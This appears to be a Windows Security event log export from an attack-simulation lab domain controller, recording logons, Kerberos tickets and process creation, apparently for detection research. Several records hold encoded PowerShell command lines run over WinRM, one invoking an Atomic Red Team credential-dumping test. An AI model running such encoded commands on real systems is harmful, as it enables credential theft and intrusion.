QQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258083
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc14
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1080
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=258082
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x570E33

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258081
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x570E33
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{050B45FC-0D0E-AC38-6713-C08B99C3BD76}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258080
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{050B45FC-0D0E-AC38-6713-C08B99C3BD76}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=258079
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{050B45FC-0D0E-AC38-6713-C08B99C3BD76}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=258078
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258077
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xac8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1080
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258076
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Process Information:
	New Process ID:		0x1080
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258075
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf88
	New Process Name:	C:\Windows\System32\dllhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258074
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x5d8
	Process Name:		C:\Windows\System32\svchost.exe
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=258073
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258072
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{050B45FC-0D0E-AC38-6713-C08B99C3BD76}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258071
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{050B45FC-0D0E-AC38-6713-C08B99C3BD76}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=258070
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{050B45FC-0D0E-AC38-6713-C08B99C3BD76}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=258069
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258106
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b4
	New Process Name:	C:\Windows\System32\whoami.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1348
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\whoami.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258105
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf8
	New Process Name:	C:\Windows\System32\HOSTNAME.EXE
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1348
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\HOSTNAME.EXE"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258104
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1348
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa98
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbABlAGEAbgB1AHAA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=258103
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x574157

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
